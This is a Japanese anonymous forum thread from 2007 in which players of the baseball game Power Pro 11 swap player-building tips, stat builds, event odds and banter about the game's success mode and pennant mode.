控え 岡田 湯舟 平塚 濱中 川藤
岡田って一塁も守ってたっけ?
湯舟は最終戦で外も守ってたな。
平塚は守備可能ポジション無し
>>424 居てもなんで今岡がレフトスタメンで岡田がベンチだよ
>>432 平塚は基本的にサード
なんで出塁率の低い桧山の後ろに御子柴だよ
せめて桧山9番にして若菜→御子柴→今岡→桧山(代打平塚いけるよう)にしとけよ
その後も出塁率の高い関川・赤星でチャンス活かせるんだし
打線のつながりくらい考えろバカ
つーかとりあえず他所でやれよ
「俺」とか入っちゃってる時点でダメ。
ルーキーってこんなに白熱する漫画だったのか?
全部読んでたけど、たいして印象に残ってねぇや
スレ違い
新スレ立てて、そこでやれ
438 :
名無しさん@お腹いっぱい。:2007/09/09(日) 02:15:29 ID:FBHpeeKq
>>433 岡田ベンチで今岡スタメンは史実
>>434 平塚は守れるうちに入らないと感じたからそうしただけ。
打線的には今岡→桧山だと完全に下位打線が消化になるから。
考えてはいるんだが、暑い意見参考にさせてもらう
さんくす
主人公は多村以上のスペランカー
なるほどパワプロの大学はあそこの村にあるのか
イレブンなんて特に大変そうだな。なんせ一歩間違えれば周りが
みんな敵に見えちまう。イヤ、モウスデニ…。これ以上はスレ違いだぜ
誰か北みたいなんで。じゃ
パワプロ14が出てもスレがよく伸びてるって事は、
今でもパワプロ11のユーザーが多いって事だよね。
自分も12と13をやったけど戻ってきたクチだし。
ところで、11を使った大会って、このスレ的には今でも需要あるかな?
プレイヤーが多ければ、盛り上がりそうな気がするんだけど…。
面白そうだけどGCで開幕な俺には参加出来なさそう
GC開幕のおれがきましたがGCはオラオラッシュにより再起不能(リタイア)になっておりまして
需要はないだろうな、残念ながら
448 :
名無しさん@お腹いっぱい。:2007/09/10(月) 04:46:05 ID:ZXX1Liub
お前らとオンラインで対戦したい
フルボッユニシテヤルヨ
>>444 14の大会スレみたいに、参加者が各自の役割を受け持つ方式の大会はどうかな?
あれなら大会を進行する主催者さえいれば参加者はそれに乗っかるだけだし、
サクセス選手を集めて…とやるより手軽だと思うんだ。
最近話題が無くなってきた感があるので、たまには余興になって良いんじゃない?
開催されるなら参加したいな。主催者がいなければ俺がやっても良いし。
フルボッコにしてやるよ
が
オンライン出来ない
452 :
名無しさん@お腹いっぱい。:2007/09/10(月) 21:02:42 ID:iBr5CNyn
11超決定マジ最高だったよなヽ(´▽`)/選手の動きとか全日本サクセスとか。ライジングショットは使えなかったけど、キャノンはすごかった。
やっぱキャノンもノビ無しストレートくらいだったわ。
454 :
名無しさん@お腹いっぱい。:2007/09/10(月) 23:02:37 ID:iBr5CNyn
そうか?キャノンでアウトハイで三振取るの好きだったけど。確かにノビあり普通のストレートが一番速かった。
決定版はコントロール上げるのがしんどすぎる…
>>455 俺が超決パワ大で作成するときは、自力でコントロールを150まで上げて、ダーツの5upで155Bを期待。
これで、150〜156kmスタAコンB総変11〜12を狙うというのがお決まりパターン(ジャイロなしはリセット)。
運良く後半に禿が成功したら、コン25upで180Aが可能。
ところが、ダーツと禿の順番が狂うと大変。
175から180に上げるのに技術ポイントが100以上いる。あれはしんどすぎる。
桑田の手術の担当医の名前がジョーブ博士だって。
吉と出るか凶と出るかwww
>>457 つられるけど、ダイジョーブ博士のモチーフがジョーブ博士
何でもかんでもゆとりに繋げればいいわけじゃないw
じゃあ老害乙で
フランクジョーブ博士は世界的に有名な人だぞ
桑田「パワーアップ手術をお願いします」
桑田
149km B145A215 Hスラ3 カーブ7 SFF3 シュート4
ノビ4 キレ4 対ピンチ4 打球反応
2DCBBA
なるほど、PL学園はアンドロメダ高校なのか。
桑田で完封できたときは嬉しかった
一年で雑魚になるけど性能はそこそこだよな
自分でプレイすると桑田は強い
パワフル相手でも十分抑えられる
上原・工藤あたりだとボコボコにされるが
工藤は分かるが、上原は俺は桑田よりも使いやすい
コントロールさえよけりゃ、どんな投手でもOK。
でも、ムービンだけは勘弁な!
どんなに雑魚でも3球種あれば抑えられる
>>467 桑田で抑えられる腕があって工藤でなぜ打たれると、工藤ファンの自分が言ってみる。
11ってほとんどの特殊変化球が強いと思うんだがどうだろう。
1年手動でペナント(パワフル)やった事があるんだが、特変持ちピッチャーは総じて活躍してくれた。
Dカーブは少々甘くなっても打ち損じてくれる事も多かったし。
まあパワフルって黒ひげ危機一髪みたいなもんだけど。
ライジングキャノン覚えるには、どことどこの能力を上げたら覚えやすいの?
球速158
コントロール155
スタミナ60
総変7
くらいで2回も失敗したんだが…('A`)
>>472 (球速−130)+(制球÷10)+総変
だいたい45%くらいで成功する。
イベント自体起こりにくいし、起こっても習得確率低いわで・・・
一人は作っておきたくなるよねw
ショットとキャノンの違いがよく分からない
>>476 キャノンは普通のストレートくらい。
ショットはノビ最悪なストレート。
478 :
名無しさん@お腹いっぱい。:2007/09/14(金) 07:41:20 ID:RhX8LUHp
あげ
話題Neeeeeeeet
COMの監督に中継ぎを使わせるにはどうすればいいのかな?
先発の起用法を完投とかにしない
482 :
名無しさん@お腹いっぱい。:2007/09/14(金) 23:37:44 ID:QWS+Ko8z
速球派の抑えを作るにはどんな変化球がいいのかな?
ナックル7
フォーク5 フォーク2
485 :
名無しさん@お腹いっぱい。:2007/09/15(土) 01:15:27 ID:73jCgzf6
その大魔神ステはポテンヒット量産フラグ
SFFおぬぬめ
487 :
名無しさん@お腹いっぱい。:2007/09/15(土) 05:11:13 ID:RIdaQRLR
サクセスで野手天才型の初期ステはどんな感じですか?
>>487 ついこないだ出た天才型は、G1E68E6E6E6G1 弾道2 センス○だったと思う。
ちなみにポジションはセカンド。
489 :
名無しさん@お腹いっぱい。:2007/09/15(土) 09:53:18 ID:RIdaQRLR
488サンありがとうございます、またでたら教えて下さい。
いつになる事やら
491 :
名無しさん@お腹いっぱい。:2007/09/15(土) 10:30:07 ID:RIdaQRLR
490確かに。
492 :
名無しさん@お腹いっぱい。:2007/09/15(土) 13:17:51 ID:Kcr4DwxZ
ペナントのコーチ練習がいまいちわからないので説明頼む。
ただ能力が上がりやすいだけでデメリットとかないのか?
あれ謎システムだよなw
1.怪我しやすくなる
2.調子が上がりにくくなる
3.少ない人数でやると有効(大人数だと効果が下がる)
4.劣化が早くなる
多分このどれか
指導力重視で選んで全員コーチ練習だわ
4番○の選手が四番以外の打順だと具体的にどんな
パワーダウンするか教えて欲しいんだが…
お願いします
オリ変投手作りたいのにあばた来ない。
むかついたから野手作ったら一発であばた登場。
で2年1月に「ストレッチおわりー」・・・(#^ω^)
情報元と証拠があれば複数の効果が出たりしないだろ・・・
>>496 確かパワー―10とか15とかその程度。細かい数字は分からないがそこまで大きくは無いはず。
502 :
名無しさん@お腹いっぱい。:2007/09/16(日) 07:54:06 ID:GtMUeGgH
コーチ練習は一人だけにしか効果がないってペナント始める前に言われなかったっけ?
能力が大きく上がるけど、一人だけだよって言うことじゃねーの
体感だけど…
コーチ投球→その選手が成長期にないと意味なし(普通の投球練習ならコントロールくらいはあがるがそれすらない)
コーチ打撃→大いに意味アリ
コーチ走塁→コーチが俊足型だと大いに意味アリ
守備型だと意味なし、普通に走塁練習すべき
コーチ守備→コーチが守備型だと大いに意味アリ
俊足型だと意味なし
な気がするよ
全日本のトモザワと二宮のポール当ての成功する組み合わせってなに?誰か教えてくれー
504 :
名無しさん@お腹いっぱい。:2007/09/16(日) 11:56:20 ID:Hy9Q3OBT
>>501 ありがとう(・∀・)
エリリンの誘惑に負けて一番打者に4番○とパワーヒッターつけてしまったから…
505 :
名無しさん@お腹いっぱい。:2007/09/16(日) 12:58:32 ID:1rxQT5Kx
>503
俺は最初にやや右方向で弱めに投げる。落ち着いてやれば50パーで成功するかな。ただ二回目で友沢が成功するとプレッシャーが掛かる。
成功は肩+1、送球+1、エラー率+1だっけ?
>>502 そうなのか?
今まで練習は必ず全員コーチ練習させてた・・
>>502 の理屈だと、そもそも全員にコーチ練習設定できることがおかしいわけだが
コーチ練習ってのは、スラッガーとかの選手タイプが合えば効果が高いけど
タイプが合わないと逆効果で普通の練習より能力が上らないってことだと思ってたが。
俺も508とおんなじ考えだ
イレブン買おうか迷ってるんですが、
前作みたいにサクセス長ったらしかったり
めんどくさい継承選手やコーチの特殊能力伝授イベントとかあったりするんですかね?
上戸とか小倉とかhydeとか作ってるデータを後輩にみせたら
「キモイっす先輩www」って言われた。
でもみんな強かったから一応驚いていた。軽蔑的な意味で…
俺なんてアニメキャラの名前で作ってるのバレて対戦してくれる友達がいなくなったんだぞ
紅白戦3−0で始まってイラっときたから、
1イニングで15盗塁、4野選してやった。
いやースッキリした。
猫神も今頃涙目かな。
やっと良い選手が出来た
左左
156 コ180ス128
スロカ4、SFF1、シュート2
ピンチ、対左、打たれ強さ、けが、ノビ、クイック、回復、ジャイロ、低め、重い球、尻上がり、牽制、打球反応
ハゲ2回来て成功しました。けど微妙?
昨日競馬みながらやって放心状態になって栄光に勝てず変化ポイントが大幅に余ったorz
球種2つで良いからそれに絞って伸ばすと良かったな
ぶっちゃけハゲ2回でそれじゃあ大失敗だね
時期が悪かったんだろうけど
>>515 二種類のほうが良かったですか…ハゲに興奮して三つ取得してしまいました><
>>516 二年の最初辺りと三年の中盤位に来ました…
トルマリンブレスもビンゴで取って穏やかも四年のラストに彼女になったのに俺\(^O^)/
そういえばハゲにあった時にコナミコマンドしたら成功するってネタはガチですかね?
昨日やったら二回成功したんですが
二回くらいで信じるか、普通。
519 :
名無しさん@お腹いっぱい。:2007/09/17(月) 11:51:34 ID:c86HnAgG
禿二回来たら165AA創変12はいけるだろ条項・・・
520 :
名無しさん@お腹いっぱい。:2007/09/17(月) 12:16:34 ID:c86HnAgG
最後の大会全国優勝してもパワフル大強豪が出ない件について
521 :
名無しさん@お腹いっぱい。:2007/09/17(月) 13:27:30 ID:TffLevGx
>>514 禿2回でそれは逆にありえない気がするんだが
>>520 単に前の大会で負けすぎで評判下がりすぎなだけ
ずっと予選1回戦で負けまくるとそうなる
基本は、一回も負けずに3回勝つ→強豪になる
522 :
名無しさん@お腹いっぱい。:2007/09/17(月) 14:12:45 ID:FhGnViwm
天才型投手が出て、さらにダイジョーブ博士まで、キターーー!
その後、彼は綺麗な流れ星になりましたとさ。
試合直前の虫歯キター
リセット・・
>>514 俺が11を始めてすぐに作った選手(禿2回、サインあり、なし成功)
157km コンB156スタB148
カット3 Hシュート3 SFF4
ピンチ4 打たれ4 ノビ ジャイロ 左4 安定4 怪我4 牽制 闘志
正直その総変と球速はありえなくないか?
実はスライダー3書き忘れましたとか、パワ大弱小です、アキレス腱切ってます、
二刀流投手です、禿じゃなくて交通事故でした、とかじゃなきゃありえない。
>>525 別にどうでもいいだろ
作れないレベルの選手晒して禿げ2回成功とか言ってるわけでもないし
まあでもあれだ。使えない選手じゃないしいいじゃない。スタミナが惜しいがコントロール180あれば十分。
529 :
名無しさん@お腹いっぱい。:2007/09/17(月) 19:15:48 ID:CWVNh34N
コントロールAいかねーよ
>>530 買って初期に作ったって書いてあるのに・・・
最低でもこれくらいはいくよって意味で書き込んだのに。
素直に謝ります、言い過ぎてごめんなさい。
533 :
名無しさん@お腹いっぱい。:2007/09/17(月) 21:40:41 ID:s59Of1c5
ぶっちゃけ
>>514はダイジョーブ2回にしては弱すぎだろ
>>525みたいにハッキリ言った方が本人の為
>>530みたいに何も言わずにバカにするだけの奴は論外
>>533 youもその何も言わずにバカにするだけの奴と変わらないと思うんだけど
>>515みたいにアドバイスしてるならともかくさあ
スレ汚し失礼
別に最強の選手を作るのが目的のゲームじゃないんだから、
そんな叩かなくても…
「禿二回成功の割には微妙」
これだけでいいじゃないか、作成者喜んでるんだし
正直どうでもよくね
>>535 そうだな
人が作った選手を叩く権利は誰にもない
叩く香具師の方が幼稚なだけだろ
話カッ飛んでチラシ裏になるが、チンチロで勝ったんで初めて達人バットを買ってみた。
僅か二回の練習で威圧感GET。(普通なのかも知れんが練習で能力取ったの初めてなんで嬉しかった)
その後、僅か十数回の練習で野球ができなくなった。
流石達人、俺みたいなアマには使いこなせないぜ。
>>538 威圧感は確か0.2%の確率だったと思う。
俺も威圧感がつくのを2回見たことがあるが、余りに低確率なので他のアイテムで
特殊能力がついた時(盗塁など)も含めて死亡フラグだと思うようにしている。
541 :
名無しさん@お腹いっぱい。:2007/09/18(火) 00:07:31 ID:uo52Kdp3
低確率と言えば、
仙人に能力アップしてもらったことがない。
かれこれ十回以上は来たはずなんだけど。
できた人いるかい?
正月のやつで達人GET
その週打撃練習でついたことあるな威圧感
まあその運の代償はリアルに散々な結果だったけどo...rz
>>541 野手で1度
他にもあったかな・・・
まぁ、追っかける価値はあると思う
投手の場合はあんまり追っかけてない
なんか、守備練・スタ練にいるときは、練習機会がもったいない気がして
514ですけど…
皆さん色々すいませんでした。
色々な意見言ってくれてありがとうございました。
サイトを見てまた精進していきます
本当にありがとうございました。
>>544 謝る必要ない。
慣れればもっといい選手が禿無しでも作れるようになるよ、頑張って。
確かに基礎と守備に居る時は追いかけない方が良いかもなぁ…
仙人ストーカーのように追いまわして、かれこれ5〜6回は貰った。
野手は出た事無いから解らんけど、投手の場合は球速+3 コンスタ+10と変化球100P位
サイン無し禿 リスクは練習制限と思えば安い…か?
ちなみに仙人成功→禿→「いいゆめみさせてもらったぜ!あばよ!」 は二回(両方成功0)
どっちも成功したら結構良い選手できると思うんだがなぁ…直に能力上がるわけだし…
超決パワ大で投手を作成してる人に聞く。
継承選手を作るときにどんな特能をつけてる?
俺が継承選手を作るときは、
確実に取れる特能としては、キレ4、重い球、低め○の優先順位。
運に頼る特能としては、ジャイロ&ノビ4セット、奪三振を狙う。
「リリース○は取らない」「阿畑は全部断る」「加奈と9月に公園に行かない」は鉄則。
もちろん、加奈とのクリスマスも安定感4と逃げ球をもらわないように気をつけてる。
>>547 キレ4、もしくは威圧感。
2人継承作ったが、
1人は精神友情で、打たれ強さ4、ピンチ4、低め○、威圧感、人気者
打たれ強さとピンチ、人気は阿畑強制練習で習得(普段は覚えないのに・・・)
2人は球速友情で、キレ4、闘志、テンポ○(これまた阿畑・・・)
ちなみに1人目からは全く継承イベントが起こらないが、
2人目からは2人ほどキレ4を伝授してもらった。
>>548 阿畑の強制練習は困るよな。
ジャイロ、奪三振持ちの継承選手からテンポ○を伝授されたときの悲しさといったら…。
継承選手の特能はMFB以外はあまり気にしないな。パワ大なら150BA総変11特能10個くらいは量産できるから能力被りまくる。
551 :
名無しさん@お腹いっぱい。:2007/09/19(水) 00:22:40 ID:j7CRcR44
ペナントで巨人でプレイしてたら
二岡のエラー回避がGまで下がっちゃったけど
エラーすると下がるのか?
真帝王ばっかやってたが、これ見て久々にイレブンやりたくなったぜ
今から作ってくるかな
冴えない初期能力。先輩の使ってた守備機材。次々と導入される精神→スタミナ練習。
三年間で二度しか勝てないジャンケン。9:1で負けて守備縛りプレイ
。球速練習を一度もしない薬漬けキャプテン。次のキャプテンは親友の矢部。ガセネタ流されて寝坊っ子。
愛の力を一度も教えてくれなかった彼女。でも力配分は教えてくれた。
科学の犠牲に。栄光にフルボッコされてキレ4→キレ2
今まで作った中で最弱の選手ができてしまったw
昼寝してくるか…
>>554 最後までリセットしなかったお前に惚れた
556 :
名無しさん@お腹いっぱい。:2007/09/19(水) 11:11:25 ID:DfIaAvFQ
>>554 そこまでいくと逆に消せないなw
気になるので能力教えてくれ
>>556 159kmコン135スタ110スライダー4スローカーブ2
ノビ4・ジャイロ・打たれ強さ4・キレ2・力配分・ケガ2・闘志
継承にしててメモカ抜いてなかったから、せめて160km欲しかったぜw
速球派としてはリアルでは十分すぎるほど強いな
俺にそんな強い能力の選手は作れない…
560 :
名無しさん@お腹いっぱい。:2007/09/19(水) 17:13:50 ID:ks9ujgQs
博士失敗+運悪でそれかよ・・・
ぼくにつよいせんしゅのつくりかたおしえてください。
システム的に高い能力はさらに上がり、低い能力はさらに下がるようになってるな。
マイライフとかだとチャンス3を4にするより4を5にするほうが楽だし。
右投の継承選手作ろうと開始したら、
125kmコンG80スタE15というスーパー神能力来たwww
あ、スタF15だった
565 :
名無しさん@お腹いっぱい。:2007/09/19(水) 20:28:16 ID:VoJ45GH0
>>563野手能力もG1G10G1E7G3G1
だったら最強だな
>>565 決定だとG1G10G2E7F4F5が最低。
野手能力は平均並だった。
が、いらついたのでそのまま飽きっぽい人になってもらった。
>>563 凹むな、それはw
たまに130kmコン110スタ45なんて初期能力もくるよな。あれは嬉しい。
天才型には期待できないから、やはりセンス×スタートが最高。
変化球も自由に選べるし、運が良ければ最初の街デートで消せる。
でもまあ初期能力なんて誤差範囲程度のものでしかないんだが
極端な例だけど、コントロール80と110じゃ大違い
スタミナも15と45じゃ、筋力が60ポイントも
>>568 突き指でもリセット(怪物以外)してる俺から言わせれば、それは違うな。
運という要素を排除すれば練習できる回数は限られてるんだから、初期ポイントは重要だよ。
571 :
名無しさん@お腹いっぱい。:2007/09/19(水) 23:11:57 ID:UmZL/7Si
今度はちゃんと継承完成。
パワ大 右両
161kmコンB165スタA157
スライダー4 Hシュート3 チェンジアップ3 ドロップ1
ピンチ4 奪三振
普段は神練習のスーパースピリットさえ来なければ・・・
てか継承のくせにパワ大で作った投手の中で一番強い。
名前投手4なんかにしなければよかった。
強豪だとそれなりの選手を作れそうだけど俺の力じゃすぐに普通に戻ってしまいそうだ
574 :
名無しさん@お腹いっぱい。:2007/09/20(木) 00:24:50 ID:pDv+0g08
>>573 なにげにコンマイだw
試合が下手なら(俺とか)、強豪維持は投手ジャイロ持ちならキャプテンスルーで余裕だったりするよ。一度おためしあれ。運も大きいけどキレゲットできるし。
不運な選手自慢ってのもおもしろいな。
>>572 強い継承選手は何かと便利だからな。西強戦で活躍してくれる。
変化球のバランスもいいね。
質問するぜ
イレブンでの継承は何を作ればいいかな?
超決だと投手一択?
577 :
名無しさん@お腹いっぱい。:2007/09/20(木) 13:34:01 ID:VSV8aNTe
アバウト過ぎるぜ
作るのが投手か野手か書いてくれ
開幕か決定かも
決定みたいなので
投手継承なら変化球か速球だな
野手継承なら肩か守備
どちらでも使えるのを希望なら肩練できる捕手がおススメ
紙山がキャッチャーとしてはカスなので、継承捕手が出るのと出ないのとでは大違いだ。
578 :
名無しさん@お腹いっぱい。:2007/09/20(木) 16:06:19 ID:2HzSh65Y
ダイジョウブなしで
>>572みたいなの作れるかな?
作れるなら作り方教えてください
579 :
名無しさん@お腹いっぱい。:2007/09/20(木) 16:37:59 ID:GqHye4r4
>578
うーん・・。
1.パワ大強豪か帝王の普通ルート(真だと二軍生活が勿体ないが継承登場もあるので選んでも可)
2.宝くじを必ず買う。
3.試合やテストは全部勝つ。
4.キャプテンにならない5.彼女を作れたら作る。エリリン最高だぜ!! 6.野球仙人のパワーアップ
7.週刊パワスポは一回目の購入でジャイロかムービングを手に入れる。失敗ならリセット!!
8.継承は速球派と変化球派を
9.年賀状は沢山もらう
10.・・チンチロリン
これで・・なんとかなるかも( ̄□ ̄;)
580 :
名無しさん@お腹いっぱい。:2007/09/20(木) 17:02:59 ID:VSV8aNTe
572なら継承用で得能がないから天才型、宝くじ、チンチロ、継承、仙人、ダイジョーブ抜きで作れるぞ
パワ大強豪で始める。パワスポはスルー(あくまで572を再現するなら、普通にやるなら買うべし)
キャプテンは上手いなら。下手ならスルー。上手い=確実に全国決勝にいけるレベル
あばた練習は全部スルー。
最初に変化球、スタミナ120オーバーまで球速、後スタミナ、スタ150超えたら球速でいけるはず。
581 :
名無しさん@お腹いっぱい。:2007/09/20(木) 18:25:25 ID:Ly9qFCQa
なんだかんだでどれだけ全国優勝&活躍できるかで差がでるんだよな。
初期能力や連続練習によるボーナスも積み重なるとてがいし
ダイジョーブに頼らないならできるかぎりのことをするしかない。
基本的な質問でスマンが
変化球って一種類ずつ覚えるのと、始めに球種増やしてから覚えるのと
どっちが効率いいんだっけ?
>>572ですが、3年10月にダイジョーブ成功してます。
運良くサイン無し成功で、怪我4も習得しなかった。
ダイジョーブなしだと、特能なしでもパワ大で160kmBA4球種総変11は無理だと思う。
ただ160kmCC総変8の継承投手がいるけど、これでもまず打たれない。
このくらいならよほど悪運じゃない限り継承でも作れる範囲かな。
>>582 自分で試せ
野球人なら一球種にこだわれ
585 :
名無しさん@お腹いっぱい。:2007/09/20(木) 20:25:11 ID:ouxjjrJg
最初の月の朝にアキレス断とはこれいかに。
切れる音がリアルすぐる・・・
パワプロ2000開幕版しか遊んだことがない人間なんだが質問がある
11のスンヨプって、漢字表記なのかカナ名なのか知りたい。
というかぼちぼちPS2かPS3買うべきかな・・・
リチャードナツカシス
>>586 登録名は「李」。
でも、ヨプという字(火偏に華)は漢字のフォントに入ってる。
リチャードはSFFを押し付けてくるのが困る
サクセスしてるんだけどストライクゾーンに投げるとボコスカ打たれ、ボールになるように投げるとフォアボール・・・・
コンピューター押さえるコツとかないっすか?orz
高めのスローボールで相手の狙い球が判ることが多いので、
球数が増えても慎重に探っていく。
あとは、対戦で感覚を掴めば良い。そのうち意識しなくてもまともな試合になると思う。
>>593 サンクス。とりあえずもうちょい練習してみる。
高めに投げて狙いを読めるとはきずかなかったわ〜
帝京の投手育成なんかストライク勝負だから打たれる時はボッコボコだけどな
パワ大の弱小って継承選手が揃えばそれなりの選手ができるのね
出れる試合は少ないけどメンバーが強いから非キャプでもそれなりに勝ち抜くし、
キャプテンになればほとんど負けることはない(ヘタレな俺は栄光に勝てない…)
からドラフトから漏れることもまずない
痘痕のイベントが無いから特殊が寂しくなるときもあるけど…
そして何よりサクサク作れるような気がする
ペナントやってて記録見たら、岩クマーが0球敗戦となってて吹いた。
パワプロは打撃妨害が無いから、0球敗戦はありえないのでは?
バグかねぇ
598 :
名無しさん@お腹いっぱい。:2007/09/21(金) 10:05:51 ID:w5jyzIe6
ランナー三塁で牽制悪送球の間にサヨナラホームイン、とかじゃね
そういや、キャッチャーが盗塁を刺そうとして暴投ってのはけっこうあるけど
ピッチャーの牽制悪送球もあるの?見たことないような
600 :
597:2007/09/21(金) 13:27:04 ID:Vc+zC7wG
>>598 それだと3塁ランナー出したピッチャーに負けがつくよ
0球で負けるためには0球でランナーを背負わなければならないが、
そもそもそんな状況は打撃妨害位しかない。
しかし、パワプロに打撃妨害とか無いのでどうしたもんかなぁと。
160kmコンCスタB
Hスラ3 SFF7 Hシンカー1
ノビ キレ 打球反応 対左 重い球 闘志 ムービング
自分の中じゃかなりの良作…なのにチームメイトがくれたパワスポでムービングがついちまった
チームメイト氏ね!
実在選手を作っていたらついつい強くなりすぎてしまうのは俺だけじゃないはず。
藤川とウィリアムスを作成したが両方とも150超えのAE特能イパーイになってしまった。
さて、久保田を作るとするか…
紛失してしばらく遊んでなかったんだが、安かったから買ってきた
以前のデータ読み込んでみると
名前:ファック ウグイスコール:イチロー
とかいう選手が残ってて笑った
WBCの頃にやってたんだなー 懐かしい
>>601 もったいないw
ムービングが付いたらどんなに強くてもゴミだからなあ・・・
あれはCOMの打撃レベルを上げる魔球。
連レススマン
>>602 ぼくのつくった久保田
165kmコンC145スタE59
Hスラ1 Sスラ5 ナックル3
ピンチ 左 打たれ ノビ キレ 安定 回復 反応○
特能8個、ナックル投げれちゃう、165kmとまあ別人だこりゃ。
他の実在選手もこんな感じ。
リアルに作るとほとんどフォークやスライダー持ちになっちゃうし。
>>602 俺も巨人の西村作ったら、バンバンストライクで三振取ってしまう。
ちがうんだ orz
607 :
名無しさん@お腹いっぱい。:2007/09/21(金) 21:08:33 ID:ejX/b2cs
ポイント余らせりゃ良いんだけどな
貧乏性はそれが出来ないw俺とか
FFとかでエリクサー使わずクリアするタイプ
つい、もうちょっとコントロールあげても・・ どうせMAXでないし球速も・・・
とかやっちゃうんだよなー
>>607 FFとかでエリクサー使わずクリアするタイプ
お前は俺か
>>607 >>609 俺がいる。
すごくよく分かるんだが、ポイントを余らせるのがもったいないなら、
エリクサーも余らせるのはもったいないはずなのにな。
ケアルラとかで間に合うもんな。MP?めったに魔法使わないもんでw
>>610 俺はいつの間に分裂したんだ
・エリクサー→もっと強い敵がいるような気がして
・ポイント→余らせてクリアしたら二度と使えない
つまるところ、貧乏性なんだよな。
スレ間違えたかと思ったぜ
ペナント楽しいけど、先発投手ばっかりヒロインってのは嫌だな
6打点の4番無視して、3失点の先発が出てくるんじゃねーよと。
14とかだと直ってるのかな?
最後の全国大会前の夕方練習で27%の変化球練習。
ボキッ
大会ポイントはとれず球速は下がり変化球ポイントが138も余った\(^o^)/
結構いい感じだったので最後の最後に無理したらこうなった。
やっぱ怪我率の色が黄色い時はやらない方がいいのかなぁ・・・
パワ大強豪で左のアンダーの先発を作っていてかなり強い選手が出来そうだったのに、MFBが最後の大会直前についた。
最終的に155AA総変11(スクリュー6 ドロップ3 Hシュート2)特能10個になったが使いにくい。
616 :
名無しさん@お腹いっぱい。:2007/09/22(土) 08:30:21 ID:X6qd8tSx
どんまい。
てかみんな創変高いけどどうやって作ってんの?
俺は頑張っても155AA創変8得能4個くらいなんだけど
>>614 俺なら7%でもやらないなあ。
さっき走力Eのサードを作ったが、敏捷が350も余ったw
ケチなんでつい使いたくなるんだがそこは我慢。
ヒーローインタビューなんだから略してヒロインだろ
そーゆーことか
パワプロ11をよくやるんだが
エンタイトルツーベースって11で出たことある?
俺は無いです。
ペナントやってて地方球場なんかだとたまに出る
ドームだと全く無いね
>>622 出ることは出るのか。
対戦はよくやってるんだが一回も出たことないから
11では出ないバランスなのかと思った。
イレブン大 160kmコンB170スタA161
スロカ4 シュート4 Hシンカー3
ノビ キレ 打球反応 打たれ強さ 対ピンチ ケガ○ 安定感○
ダイジョーブ1回
せっかく上手く出来そうだったのに、最後の最後でエリリンの好感度を見誤り
グラブもらえず、変化球ポイント4足りなかった。
このモヤモヤ感…
11で禿、天才にめぐり合ったことない俺に運をください
シリーズ通して初のオールA(エラー率除く)が出来て嬉しい。
センス×はやっぱすごいんだな。
>>626 おめでとう
俺なんてFAAAAFとかABAAAFが限界だよ
特殊能力も全然取れないし
唯一作れたオールAはアベレージヒッターのみ…
俺は帝王で作った
FAAAAB、パワーヒッター、送球4、チャンス5が限界だわ。
オールAとか凄いな。
全国大会でどれだけ打てるかで偉い変わるからなぁ・・・・
オールAはコツが分かれば意外と簡単にいける
センス×だったらもっと簡単になる
アベレージとか全部ポイントで取った俺が言うんだ間違いない
友澤の数字イベントなんてなにも取れやしない・・・・orz
チャンスくらいはくれたっていいじゃない・・・・
弾3A7A167A14A15A14A14
チャンス4 走塁4 送球4 PH 内野安打 初球 粘り 逆境
威圧感 サヨナラHR 強振多用 積極打法 ゲッツー崩し
真帝王センス×ホストスタート、ただこれだけ。
この2つが出るまで粘れればオールAはさほど難しくはない。
オールAだけなら帝王のセンス×ってだけで大分楽になるとオモ
ムービング使えなさ杉ワラタ
やっぱジャイロだな
634 :
名無しさん@お腹いっぱい。:2007/09/23(日) 01:33:41 ID:zfu6S5K7
ノビ、ジャイロあり155kmとノビ無し163kmじゃ、断トツ前者の方が早く感じるな。
それとも左のアンダーがだめなのか?
せっかくのエース格のピッチャーがへぼく見える。
俺がヒット打ってもチャンスしかくれないのに、弟が打つとアベレージをくれるあおい監督
兄より優れた弟などいねぇぇえええええええええええ
オレ……変な「夢」を見たぜ…
オレ…夢の中で暗闇を歩いてるとよぉーー、
光が見えて、おれの死んだ兄貴に会ったんだ。
『パワプロ11をする』って答えたら、目が醒めたんだ…とてもさびしい夢だったよ。
パワプロよりもお兄さんの墓参りしてあげなさい。
千の風になって〜
速球投手を作ってるときに限ってムービング
変化球投手を作成してるときに限ってジャイロ
なんだかなあ
4回連続キャノン失敗\(^o^)/
俺もキャノン習得やってたが糞一ノ瀬四連続で諦めた
出現率って半々なの?
実際はどうか分からんけど俺は一ノ瀬二宮組が明らかに多い。
>>640 それと同じく
速球投手を作ってるときに限って一ノ瀬
変化球投手を作成してるときに限って 神童
あるあるw
探検隊
納豆
間違えてストレートをオリ変にしちゃったらその週にジャイロ取得イベントが起きた
はいはい飾り飾り
西強 0100000031
パワ 0000000312X
こういう試合めっちゃ疲れる
出す投手みんなHR打たれまくり\(^o^)/
>>650 14ほどじゃないけど
内と外に投げ分けたり
ボール球でみせると簡単に抑えられるよ
652 :
名無しさん@お腹いっぱい。:2007/09/24(月) 10:06:22 ID:fvnBI/5l
清本以外は
やつのロックオン能力は異常
さっき全国決勝で気が付いたら15対1だった。
もうレイプはやめてよ…ひどいよ…
655 :
名無しさん@お腹いっぱい。:2007/09/24(月) 13:04:49 ID:y0efWT77
帝王で野手作ってたら、時々最初の試合からレギュラーになる。
この条件はなに?外野手に多い気がするのだが
神宮の最強と黒龍館は球場が狭くて鬼門だな。外野の守備いじれば神宮以外なら完封とか完全試合は余裕。
657 :
名無しさん@お腹いっぱい。:2007/09/24(月) 14:43:23 ID:X9WEK3KW
非キャプテン時の国流感、最強、栄光の怖さは以上
四点取られたら変えろよ糞監督
658 :
名無しさん@お腹いっぱい。:2007/09/24(月) 15:38:15 ID:jVx9jREj
超決でオールA、もしくはそれに準ずるくらいの育成方をどなたか…( ^ω^)
659 :
名無しさん@お腹いっぱい。:2007/09/24(月) 16:27:47 ID:X9WEK3KW
>>658帝王で始める
↓
最初の二ヶ月はバイトしてビルパワDX買う
↓
あとは来年まで肩練習↓
真帝王行く
↓
勝つ。でキャプテンになる
↓
あとは友情タッグ優先(確実に一日に三回練習出来るようにする。三回練習>>>友情タッグ)
↓
出来上がり。最低でもAABABは出来ると思う。エラーはキニスンナ
エラーもAにしたいんだったら筋力練習と守備練習だけでどうにかなるよ
超決だったら全国大会で適当に打つだけでAHPHつくし
野手はおすすめなんだよな
投手がきついけど
アナ「これはきわどい球ボール!!」
!!
アナ「あ〜っとこれはとんでもないボール!!」
どっちだよ
アナにオーバーランという概念は無い
>>658 ほとんど攻略サイトのマネごとだが。
足肩守エラーの合計が12くらいの素材で始める。センス×なら儲け物。
